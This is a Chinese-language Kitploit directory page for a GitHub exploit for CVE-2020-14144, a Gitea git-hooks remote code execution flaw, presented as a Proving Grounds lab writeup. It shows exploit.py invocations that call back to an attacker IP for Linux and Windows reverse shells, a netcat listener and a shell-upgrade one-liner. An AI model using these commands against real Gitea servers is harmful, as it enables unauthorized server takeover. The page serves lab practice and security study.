Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Gitea-Git-Hooks-RCE-CVE-2020-14144- — Gitea 1.1.0 → 1.12.5 版本允许拥有“可以创建 Git 钩子”权限的已认证用户向 post-receive 钩子中注入任意 shell 命令。推送提交会触发该钩子并在服务器上执行载荷。 | Kitploit
工具/GitHubGitHub/mohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubmohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-

Gitea-Git-Hooks-RCE-CVE-2020-14144-

Gitea 1.1.0 → 1.12.5 版本允许拥有“可以创建 Git 钩子”权限的已认证用户向 post-receive 钩子中注入任意 shell 命令。推送提交会触发该钩子并在服务器上执行载荷。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
16个月前尚未审核
分享

Gitea Git Hooks 远程代码执行(CVE-2020-14144)

OffsecProvingGrounds 练习 — Roquefort 机器 Writeup 与 POC

概述

项目详情
机器Roquefort (Proving Grounds Practice)
操作系统Linux
Gitea 版本1.7.5
CVECVE-2020-14144
攻击向量通过 Git Hooks 的已认证 RCE
用户 Shellchloe

Gitea 1.1.0 → 1.12.5 版本允许具有 "May create git hooks"(可创建 Git 钩子)权限的已认证用户在 post-receive 钩子中注入任意 shell 命令。推送提交会触发该钩子并在服务器上执行载荷。

快速开始

自动化(Python 脚本)

root@kitploit:~
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux

# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows

手动利用

参见 MANUAL.md 获取逐步利用指南。

仓库结构

root@kitploit:~
.
├── README.md          # This file
├── MANUAL.md          # Manual exploitation guide (Linux + Windows)
└── exploit.py         # Automated exploit script

环境要求

  • Python 3.6+
  • requests 库(pip install requests)
  • 攻击机上安装了 git
  • 具有 Git 钩子权限的有效 Gitea 凭据

用法

root@kitploit:~
usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
                  [--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]

Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)

required arguments:
  -t, --target       Target Gitea URL (e.g. http://192.168.x.x:3000)
  -u, --username     Gitea username
  -p, --password     Gitea password
  -I, --rev-ip       Attacker listener IP
  -P, --rev-port     Attacker listener port

optional arguments:
  --os               Target OS: linux (default) or windows
  --repo             Repository name to create (default: exploit)
  -f, --payload-file Custom shell script payload file
  -v, --verbose      Verbose output

示例

root@kitploit:~
# 1) Start listener
nc -lvnp 4444

# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444

# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 --os windows

# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 -f payload.sh

Shell 升级(后渗透)

捕获到反向 Shell 后:

root@kitploit:~
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

故障排除

问题解决方案
fatal: dubious ownership从 ~ 克隆而非共享文件夹,或运行 git config --global --add safe.directory '*'
未收到连接验证攻击者 IP、检查防火墙、确认两台机器在同一子网
钩子触发但没有 Shell先用 touch /tmp/pwned 载荷测试——如果文件出现,说明反向 Shell 被阻止了
钩子权限被拒绝用户缺少钩子权限——需要管理员或 "May create git hooks" 权限
3000 端口冲突Gitea 使用 3000 端口——请为监听器使用其他端口,如 4444

参考

  • CVE-2020-14144 — NVD
  • Gitea Issue #13058
  • p0dalirius 原始 POC

免责声明

本工具仅供授权的渗透测试和教育目的使用。未经授权访问计算机系统是非法的。请负责任地使用。

下载工具